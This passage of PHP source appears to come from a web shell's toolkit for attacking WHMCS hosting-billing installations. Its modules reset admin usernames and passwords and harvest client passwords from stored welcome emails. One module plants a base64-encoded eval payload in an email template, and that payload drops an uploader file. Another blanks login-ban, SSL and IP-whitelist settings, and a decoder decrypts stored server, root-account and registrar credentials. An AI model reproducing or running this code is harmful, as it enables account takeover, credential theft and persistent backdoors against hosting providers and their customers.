4380$anu2 = $_POST['anu2'];
4381$anu3 = $_POST['anu3'];
4382$anu4 = $_POST['anu4'];
4383@mysql_connect($anu1,$anu3,$anu4);
4384@mysql_select_db($anu2);
4385
4386$userbaru=str_replace("\'","'",$userbaru);
4387$ganti_user = $_POST['userbaru'];
4388$passbaru=str_replace("\'","'",$passbaru);
4389$hash_pass = $_POST['passbaru'];
4390$ganti_pass = md5($hash_pass);
4391
4392$prefix = $_POST['prefix'];
4393$table_name1 = $prefix."users" ;
4394$table_name2 = $prefix."authors" ;
4395
4396$okenuke1 = "UPDATE $table_name1 SET username ='".$ganti_user."' WHERE user_id ='2'";
4397$okenuke2 = "UPDATE $table_name1 SET user_password ='".$ganti_pass."' WHERE user_id ='2'";
4398$okenuke3= "UPDATE $table_name2 SET aid ='".$ganti_user."' WHERE radminsuper ='1'";
4399$okenuke4 = "UPDATE $table_name2 SET pwd ='".$ganti_pass."' WHERE radminsuper ='1'";
4400
4401$oke=@mysql_query($okenuke1);
4402$oke=@mysql_query($okenuke2);
4403$oke=@mysql_query($okenuke3);
4404$oke=@mysql_query($okenuke4);
4405if($oke)
4406{
4407echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
4408}
4409}
4410
4411# x=dmwhmcs9
4412elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs9')) {
4413?>
4414<form action="?azzatssins=<?php echo $pwd; ?>&x=dmwhmcs9" method="post">
4415
4416 <p><br/><body>
4417<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ CHECK WHMCS</span> <span class="b8">LICENSE & VERSION ]:=O</span></b></nobr><br/><br/>
4418<p><form method="post">
4419<table border=1>
4420<tr><td>Hosting Site </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" value="http://" name="url"></td></tr>
4421<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr></table>
4422<br></form></center>
4423
4424<?php
4425@error_reporting(0);
4426@ini_set('log_errors',0);
4427@ini_set('error_log',NULL);
4428if(isset($_POST['plapon'])){
4429$target = $_POST['url'];
4430$bukadikitjoss = fopen("$target/?licensedebug","r");
4431$hasil = '';
4432while (!feof($bukadikitjoss)) {
4433$hasil .= fread($bukadikitjoss, 8192);
4434}
4435echo "<center><textarea style='color:#FF0000;background-color:#000000' cols='40' rows='15'>$hasil</textarea>";
4436}
4437echo "</table>";
4438}
4439
4440 # x=dmwhmcs1
4441elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs1')) {
4442?>
4443<form action="?azzatssins=<?php echo $pwd; ?>&x=dmwhmcs1" method="post">
4444
4445<p><br/><body>
4446<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ GRAB PASSWORD</span> <span class="b8">CLIENT HOSTING ]:=O</span></b></nobr><br/><br/>
4447<p><form method="post">
4448<table border=1>
4449<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4450<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4451<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4452<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4453<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4454
4455</table>
4456<br></form></center>
4457
4458<?php
4459if(isset($_POST['plapon'])) {
4460
4461$perawan = $_POST['anu1'];
4462$kimcil = $_POST['anu2'];
4463$janda = $_POST['anu3'];
4464$hotel = $_POST['anu4'];
4465function get_string_between($string, $start, $end){
4466$string = " ".$string;
4467$ini = strpos($string,$start);
4468if ($ini == 0) return "";
4469$ini += strlen($start);
4470$len = strpos($string,$end,$ini) - $ini;
4471return substr($string,$ini,$len);
4472}
4473@mysql_connect($perawan,$kimcil,$janda);
4474@mysql_select_db($hotel) or die ("Gagal Koneksi Ke Database");
4475$query="select subject,message from tblemails";
4476$result=mysql_query($query);
4477mysql_close();
4478$num=mysql_numrows($result);
4479$i=0;
4480while ($i < $num) {
4481$css =mysql_result($result,$i,"subject");echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4482<tr><th colspan='7'> <span class='b7'>O=:[ HOST ROOT ]:=O</span> </th></tr><tr>
4483<th align='center'><b>CLIENT EMAIL</b></th>
4484<th align='center'><b>CLIENT PASSWORD</b></th>
4485</tr>";
4486
4487
4488if(stristr($css,"Welcome")){
4489$s =mysql_result($result,$i,"message");
4490if(stristr($s,"Login Username: ") or stristr($s,"Email Address: ")){
4491$mail= get_string_between($s,"Login Username: ","<br />");
4492$m2 = get_string_between($s,"Email Address: ","<br />");
4493$pass = get_string_between($s,"Password: ","</p>");
4494print $mail.$m2.":".$pass."<br>";
4495
4496echo "<tr>
4497<td align='center'>$mail.$m2.</td>
4498<td align='center'>".$pass."</td>
4499</tr>";
4500}
4501}
4502++$i;
4503}
4504}
4505echo "</table>";
4506}
4507
4508# x=dmwhmcs3
4509elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs3')) {
4510?>
4511<form action="?azzatssins=<?php echo $pwd; ?>&x=dmwhmcs3" method="post">
4512 <p><br/><body>
4513<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ PASSWORD</span> <span class="b8">CHANGER ]:=O</span></b></nobr><br/><br/>
4514<p><form method="post">
4515<table border=1>
4516<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu1" value="localhost"></td></tr>
4517<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu2"></td></tr>
4518<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu3"></td></tr>
4519<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu4"></td></tr>
4520<tr><td>id_admin</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="1" name="idmaho"></td></tr>
4521<tr><td>new_username</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="hacker" name="userbaru"></td></tr>
4522<tr><td>new_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="hackerpassword" name="passbaru"></td></tr>
4523
4524<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4525</table>
4526<br>
4527</form>
4528</center>
4529
4530<?php
4531if(isset($_POST['plapon'])) {
4532$anu1 = $_POST['anu1'];
4533$anu2 = $_POST['anu2'];
4534$anu3 = $_POST['anu3'];
4535$anu4 = $_POST['anu4'];
4536@mysql_connect($anu1,$anu2,$anu3);
4537@mysql_select_db($anu4);
4538
4539$idmaho=str_replace("\'","'",$idmaho);
4540$target_id = $_POST['idmaho'];
4541$userbaru=str_replace("\'","'",$userbaru);
4542$ganti_user = $_POST['userbaru'];
4543$passbaru=str_replace("\'","'",$passbaru);
4544
4545$hash_pass = $_POST['passbaru'];
4546$ganti_pass = md5($hash_pass);
4547
4548$colox = "UPDATE tbladmins SET username ='".$ganti_user."' WHERE id ='".$target_id."'";
4549$coloxx = "UPDATE tbladmins SET password ='".$ganti_pass."' WHERE id ='".$target_id."'";
4550
4551$udah_ganteng=@mysql_query($colox);
4552$udah_ganteng=@mysql_query($coloxx);
4553if($udah_ganteng)
4554{
4555echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4556}
4557}
4558
4559}
4560
4561
4562# x=dmwhmcs2
4563elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs2')) {
4564?>
4565<form action="?azzatssins=<?php echo $pwd; ?>&x=dmwhmcs2" method="post">
4566 <p><br/><body>
4567<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ INJECT </span> <span class="b8">SHELL ]:=O</span></b></nobr><br/><br/>
4568<p><form method="post">
4569<table border=1>
4570<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu1" value="localhost"></td></tr>
4571<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu2"></td></tr>
4572<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu3"></td></tr>
4573<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu4"></td></tr>
4574<tr><td align="center" colspan="2"> <textarea style='color:red;background-color:#000000' rows='10' cols='67'
4575name=shell>{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajROQ2cwS1BEOXdhSEFOQ21WeWNtOXlYM0psY0c5eWRHbHVaeWd3S1RzTkNpUnpZM0pwY0hSdVlXMWxJRDBnSkY5VFJWSldSVkpiSjFORFVrbFFWRjlPUVUxRkoxMDdEUW9rWm1sc1pXNWhiV1VnUFNBa1gxQlBVMVJiSW1acGJHVnVZVzFsSWwwN0RRcHBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKUGNHVnVJaWtOQ25zTkNtbG1LR1pwYkdWZlpYaHBjM1J6S0NSbWFXeGxibUZ0WlNrcERRcDdEUW9rWm1sc1pXTnZiblJsYm5SeklEMGdhSFJ0YkdWdWRHbDBhV1Z6S0dacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSbWFXeGxibUZ0WlNrcE93MEthV1lvSVNSbWFXeGxZMjl1ZEdWdWRITXBEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrUlhKeWIzSWdUbTkwYUdsdVp5QkdhV3hsUEM5bWIyNTBQaUk3RFFwOURRcGxiSE5sRFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1JtbHNaU0JrYjJWeklHNXZkQ0JsZUdsemRDRThMMlp2Ym5RK0lqc05DbjBKQ1EwS1pXeHpaU0JwWmlna1gxQlBVMVJiSW5OMVltMXBkQ0pkSUQwOUlDSkVaV3hsZEdVaUtRMEtldzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25zTkNtbG1LSFZ1YkdsdWF5Z2tabWxzWlc1aGJXVXBLUWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJSE4xWTJObGMzTm1kV3hzZVNCa1pXeGxkR1ZrSVR3dlptOXVkRDRpT3cwS1pXeHpaUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCa1pXeGxkR1VnWm1sc1pTRThMMlp2Ym5RK0lqc05DbjBOQ21Wc2MyVU5DaVJ6ZEdGMGRYTWdQU0FpUEdadmJuUWdabUZqWlQwblZtVnlaR0Z1WVNjZ2MzUjViR1U5SjJadmJuUXRjMmw2WlRvZ09IQjBKejVHYVd4bElHUnZaWE1nYm05MElHVjRhWE4wSVR3dlptOXVkRDRpT3cwS2ZRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pUWVhabElpa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0J6ZEhKcGNITnNZWE5vWlhNb2FIUnRiRjlsYm5ScGRIbGZaR1ZqYjJSbEtDUmZVRTlUVkZzaVkyOXVkR1Z1ZEhNaVhTa3BPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25WdWJHbHVheWdrWm1sc1pXNWhiV1VwT3cwS0pHaGhibVJzWlNBOUlHWnZjR1Z1S0NSbWFXeGxibUZ0WlN3Z0luY2lLVHNOQ21sbUtDRWthR0Z1Wkd4bEtRMEtKSE4wWVhSMWN5QTlJQ0k4Wm05dWRDQm1ZV05sUFNkV1pYSmtZVzVoSnlCemRIbHNaVDBuWm05dWRDMXphWHBsT2lBNGNIUW5Qa052ZFd4a0lHNXZkQ0J2Y0dWdUlHWnBiR1VnWm05eUlIZHlhWFJsSUdGalkyVnpjeUVnUEM5bWIyNTBQaUk3RFFwbGJITmxEUXA3RFFwcFppZ2habmR5YVhSbEtDUm9ZVzVrYkdVc0lDUm1hV3hsWTI5dWRHVnVkSE1wS1EwS0pITjBZWFIxY3lBOUlDUnpkR0YwZFhNdUlqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1EyOTFiR1FnYm05MElIZHlhWFJsSUhSdklHWnBiR1VoSUNoTllYbGlaU0I1YjNVZ1pHbGtiaWQwSUdWdWRHVnlJR0Z1ZVNCMFpYaDBQeWs4TDJadmJuUStJanNOQ21aamJHOXpaU2drYUdGdVpHeGxLVHNOQ24wTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCb2RHMXNaVzUwYVhScFpYTW9KR1pwYkdWamIyNTBaVzUwY3lrN0RRcDlEUXBsYkhObERRcDdEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrVG04Z1ptbHNaU0JzYjJGa1pXUWhQQzltYjI1MFBpSTdEUXA5RFFvL1BnMEtQSFJoWW14bElHSnZjbVJsY2owaU1DSWdZV3hwWjI0OUltTmxiblJsY2lJK1BIUnlQangwWkQ0OGRHRmliR1VnZDJsa2RHZzlJakV3TUNVaUlHSnZjbVJsY2owaU1DSStQSFJ5UGp4MFpENE5DanhtYjNKdElHMWxkR2h2WkQwaWNHOXpkQ0lnWVdOMGFXOXVQU0k4UDBWamFHOGdKSE5qY21sd2RHNWhiV1U3UHo0aVBnMEtQR2x1Y0hWMElITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2JtRnRaVDBpWm1sc1pXNWhiV1VpSUhSNWNHVTlJblJsZUhRaUlIWmhiSFZsUFNJOFAwVmphRzhnSkdacGJHVnVZVzFsT3o4K0lpQnphWHBsUFNJM01pSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCemRIbHNaVDBpWTI5c2IzSTZiR2x0WlR0aVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNd01EQXdNREFpSUc1aGJXVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrOXdaVzRpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdjM1I1YkdVOUltTnZiRzl5T214cGJXVTdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2pNREF3TURBd0lpQnVZVzFsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pFWld4bGRHVWlQand2ZEdRK1BDOTBjajQ4TDNSaFlteGxQZzBLUEdadmJuUWdabUZqWlQwaVZtVnlaR0Z1WVNJZ2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ01URndkQ0krRFFvOGRHVjRkR0Z5WldFZ2JtRnRaVDBpWTI5dWRHVnVkSE1pSUhOMGVXeGxQU0pqYjJ4dmNqcHNhVzFsTzJKaFkydG5jbTkxYm1RdFkyOXNiM0k2SXpBd01EQXdNQ0lnWTI5c2N6MGlOekFpSUhKdmQzTTlJakkxSWo0TkNqdy9SV05vYnlBa1ptbHNaV052Ym5SbGJuUnpPejgrUEM5MFpYaDBZWEpsWVQ0OEwyWnZiblErUEdKeVBnMEtQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSnpkV0p0YVhRaUlIWmhiSFZsUFNKVFlYWmxJajROQ2p4cGJuQjFkQ0IwZVhCbFBTSnlaWE5sZENJZ2MzUjViR1U5SW1OdmJHOXlPbXhwYldVN1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak1EQXdNREF3SWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZzBLUEhBK0RRbzhhRE0rWDFWUVRFOUJSQ0JHU1V4Rlh6eG9NejROQ2cwS1BEOXdhSEFOQ2cwS1pXTm9ieUFuUEdadmNtMGdZV04wYVc5dVBTSWlJRzFsZEdodlpEMGljRzl6ZENJZ1pXNWpkSGx3WlQwaWJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTSWdibUZ0WlQwaWRYQnNiMkZrWlhJaUlHbGtQU0oxY0d4dllXUmxjaUkrSnpzTkNnMEtaV05vYnlBblVFRlVTQ0JVUVZKSFJWUWdPaUE4YVc1d2RYUWdibUZ0WlQwaWRYQnNiMkZrZEc4aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpZEdWNGRDSWdjMmw2WlQwaU5UQWlJSFpoYkhWbFBTSW5MbWRsZEdOM1pDZ3BMaWNpUGp4aWNpQXZQaWM3RFFwbFkyaHZJQ2M4YVc1d2RYUWdkSGx3WlQwaVptbHNaU0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0l6TUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpYzNWaWJXbDBJaUJwWkQwaVgzVndiQ0lnZG1Gc2RXVTlJbFZ3Ykc5aFpDSStQQzltYjNKdFBpYzdEUXBwWmlnZ0pGOVFUMU5VV3lkZmRYQnNKMTBnUFQwZ0lsVndiRzloWkNJZ0tTQjdEUXBwWmloQVkyOXdlU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlVFOVRWRnNuZFhCc2IyRmtkRzhuWFM0bkx5Y3VKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdEUW9OQ21WamFHOGdKenhtYjI1MElHTnZiRzl5UFNKc2FXMWxJajViSzEwZ1ZYQnNiMkZrSUZOMWEzTmxjeUE2ZGlBOFluSXZQaUJiSzEwZ0p5NGtYMUJQVTFSYkozVndiRzloWkhSdkoxMHVJaThpTGlSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRPdzBLZlNCbGJITmxJSHNOQ21WamFHOGdKMXQrWFNCVmNHeHZZV1FnUm1GcGJHVmtJRlJmVkNCYmZsMDhMMlp2Ym5RK1BHSnlQaWM3RFFwOUlIME5DajgrRFFvPScpOw0KDQokZm9wZW4gPSBmb3BlbiAoJ2RtLnBocCcsJ3cnKTsNCiR3cml0ZSAgPSBmd3JpdGUoJGZvcGVuICwgJGMwZGUpOw=='));{/php}</textarea>
4576</td></tr>
4577<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4578</table>
4579<br>
4580</form>
4581</center>
4582<?php
4583if(isset($_POST['plapon'])) {
4584$anu1 = $_POST['anu1'];
4585$anu2 = $_POST['anu2'];
4586$anu3 = $_POST['anu3'];
4587$anu4 = $_POST['anu4'];
4588@mysql_connect($anu1,$anu2,$anu3);
4589@mysql_select_db($anu4);
4590$shell=str_replace("'","'",$shell);
4591$gosok_shell = $_POST['shell'];
4592$colok = "UPDATE tblemailtemplates SET message ='".$gosok_shell."' WHERE subject ='Welcome'";
4593$udah_ganteng=@mysql_query($colok);if($udah_ganteng)
4594{
4595echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4596}
4597}
4598}
4599
4600
4601# x=dmwhmcs4
4602elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs4')) {
4603?>
4604<form action="?azzatssins=<?php echo $pwd; ?>&x=dmwhmcs4" method="post">
4605<p><br/><body>
4606<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ BYPASS </span> <span class="b8">TOKEN ]:=O</span></b></nobr><br/><br/>
4607<p><form method="post">
4608<table border=1>
4609<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4610<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4611<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4612<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4613<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4614</table>
4615<br>
4616</FORM>
4617</center>
4618<?php
4619if(isset($_POST['plapon'])) {
4620
4621$anu1 = $_POST['anu1'];
4622$anu2 = $_POST['anu2'];
4623$anu3 = $_POST['anu3'];
4624$anu4 = $_POST['anu4'];
4625@mysql_connect($anu1,$anu2,$anu3);
4626@mysql_select_db($anu4);
4627
4628$crot1 = "UPDATE tblconfiguration SET value='' WHERE setting='InvalidLoginBanLength'";
4629$crot2 = "UPDATE tblconfiguration SET value='' WHERE setting='AdminForceSSL'";
4630$crot3 = "UPDATE tblconfiguration SET value='' WHERE setting='RequiredPWStrength'";
4631$crot4 = "UPDATE tblconfiguration SET value='' WHERE setting='MaintenanceMode'";
4632$crot5 = "UPDATE tblconfiguration SET value='' WHERE setting='APIAllowedIPs'";
4633$crot6 = "UPDATE tblconfiguration SET value='' WHERE setting='LoginFailures'";
4634$crot7 = "UPDATE tblconfiguration SET value='' WHERE setting='InstanceID'";
4635$crot8 = "UPDATE tblconfiguration SET value='' WHERE setting='WhitelistedIPs'";
4636$crot9 = "UPDATE tblconfiguration SET value='' WHERE setting='ToggleInfoPopup'";$crot10 = "UPDATE tblconfiguration SET value='' WHERE setting='token_namespaces'";
4637
4638$udah_ganteng=@mysql_query($crot1);
4639$udah_ganteng=@mysql_query($crot2);
4640$udah_ganteng=@mysql_query($crot3);
4641$udah_ganteng=@mysql_query($crot4);
4642$udah_ganteng=@mysql_query($crot5);
4643$udah_ganteng=@mysql_query($crot6);
4644$udah_ganteng=@mysql_query($crot7);
4645$udah_ganteng=@mysql_query($crot8);
4646$udah_ganteng=@mysql_query($crot9);
4647$udah_ganteng=@mysql_query($crot10);
4648
4649if($udah_ganteng)
4650{
4651echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4652}
4653}
4654}
4655
4656
4657# x=whmcs1
4658elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs1')) {
4659?>
4660<form action="?azzatssins=<?php echo $pwd; ?>&x=whmcs1" method="post">
4661
4662<p><br/><body>
4663<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ WHMCS</span> <span class="b8">DECODER ]:=O</span></b></nobr><br/><br/>
4664<p><form method="post">
4665<table border=1>
4666<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4667<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4668<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4669<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4670<tr><td>cc_encryption_hash</td><td><input style="color:#FF0000;background-color:#000000" type="text" size="60" name="anu5"></td></tr>
4671<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4672
4673</table>
4674<br></form></center>
4675
4676<?php
4677$perawan = $_POST['anu1'];
4678$kimcil = $_POST['anu2'];
4679$janda = $_POST['anu3'];
4680$hotel = $_POST['anu4'];
4681$kondom = $_POST['anu5'];
4682
4683@mysql_connect($perawan,$kimcil,$janda);
4684@mysql_select_db($hotel);
4685$cc_encryption_hash = $kondom;
4686
4687function dec($string,$cc_encryption_hash){
4688$key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
4689$hash_key = _hash($key);
4690
4691$hash_length = strlen($hash_key);
4692$string = base64_decode($string);
4693$tmp_iv = substr($string,0,$hash_length);
4694$string = substr($string,$hash_length,strlen ($string) - $hash_length);
4695$iv = $out = '';
4696$c = 0;
4697while ($c < $hash_length){
4698$iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
4699++$c;
4700}
4701
4702$key = $iv;
4703$c = 0;
4704while ($c < strlen($string)){
4705if (($c != 0 AND $c % $hash_length == 0)){
4706
4707$key = _hash($key . substr($out,$c - $hash_length,$hash_length));
4708}
4709$out .= chr(ord($key[$c % $hash_length]) ^ ord ($string[$c]));
4710 ++$c;
4711}
4712 return $out;
4713}
4714function _hash($string)
4715{
4716$hash = (function_exists('sha1')) ? sha1($string):md5($string);
4717$out = '';
4718$c = 0;
4719
4720while ($c < strlen($hash)){
4721$out .= chr(hexdec($hash[$c] .$hash[$c + 1]));
4722$c += 2;
4723}
4724return $out;
4725}
4726
4727######## GO TO HELL ########
4728##### :D ########### :D #####
4729
4730if(isset($_POST['plapon'])) {
4731$query = mysql_query("SELECT *FROM tblservers");
4732echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4733<tr><th colspan='7'> <span class='b7'>O=:[ HOST ROOT ]:=O</span> </th></tr>
4734
4735<tr>
4736<th align='center'><b>TYPE</b></th>
4737<th align='center'><b>ACTIVE</b></th>
4738<th align='center'><b>HOSTNAME</b></th>
4739<th align='center'><b>IP ADDRESS</b></th>
4740<th align='center'><b>USERNAME</b></th>
4741<th align='center'><b>PASSWORD</b></th>
4742<th align='center'><b>ACCESS HASH</b></th></tr>";
4743if(!is_array(mysql_fetch_array($query))){
4744echo "<tr><td colspan='8' align='center'>Nothing Found !</td></tr>";
4745}
4746while($v = mysql_fetch_array($query)) {
4747echo "<tr>
4748<td align='center'>{$v['type']}</td>
4749<td align='center'>{$v['active']}</td>
4750<td align='center'>{$v['hostname']}</td>
4751<td align='center'>{$v['ipaddress']}</td>
4752<td align='center'>{$v['username']}</td>
4753<td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
4754<td align='center'>{$v['accesshash']}</td>
4755</tr>";
4756}
4757echo "</table>";
4758
4759
4760$query = mysql_query("SELECT * FROM tblhosting where username = 'root' or username = 'vmuserxx' or username = 'vmuser' or username = 'admin' or username = 'Admin' or username = 'administrator' or username = 'Administrator' order by domainstatus");
4761echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4762<tr><th colspan='6'><span class='b7'>O=:[ CLIENTS ROOT ]:=O</span> </th></tr>
4763
4764<tr>
4765<th align='center'><b> DOMAIN</b></th>
4766<th align='center'><b> STATUS</b></th>
4767<th align='center'><b> USERNAME</b></th>
4768<th align='center'><b> PASSWORD</b></th>
4769<th align='center'><b> DEDICATED IP</b></th>
4770<th align='center'><b> ASSIGNED IP</b></th></tr>";
4771
4772if(!is_array(mysql_fetch_array($query))){
4773echo "<tr><td colspan='6' align='center'>Nothing Found ! :(</td></tr>";
4774}
4775while($v = mysql_fetch_array($query)){
4776echo "<tr>
4777<td align='center'> {$v['domain']}</td>
4778<td align='center'> {$v['domainstatus']}</td>
4779<td align='center'> {$v['username']}</td>
4780<td align='center'> ".dec($v['password'],$cc_encryption_hash)."</td>
4781<td align='center'> {$v['dedicatedip']}</td>
4782<td align='center'> {$v['assignedips']}</td></tr>";
4783}
4784echo "</table>";
4785
4786$query = mysql_query("SELECT *FROM tblregistrars");
4787echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4788<tr><th colspan='3'><nobr><span class='b7'>O=:[ DOMAIN REGISTRAR ]:=O</span></nobr></th></tr>
4789<tr>
4790<th align='center'><b>REGISTRAR</b></th>
4791<th align='center'><b>SETTING</b></th>
4792<th align='center'><b>VALUE</b></th></tr>";
4793if(!is_array(mysql_fetch_array($query))){
4794echo "<tr><td colspan='3' align='center'>Nothing Found !</td></tr>";
4795}
4796while($v = mysql_fetch_array($query)){
4797$value = (!dec($v['value'],$cc_encryption_hash)) ? "0":dec($v['value'],$cc_encryption_hash);
4798echo "<tr>
4799<td align='center'>{$v['registrar']}</td>
4800<td align='center'>{$v['setting']}</td>
4801<td align='center'>$value</td></tr>" ;
4802}
4803echo "</table>";
4804
4805$query = mysql_query("SELECT * FROM tblconfiguration where 1");
4806echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
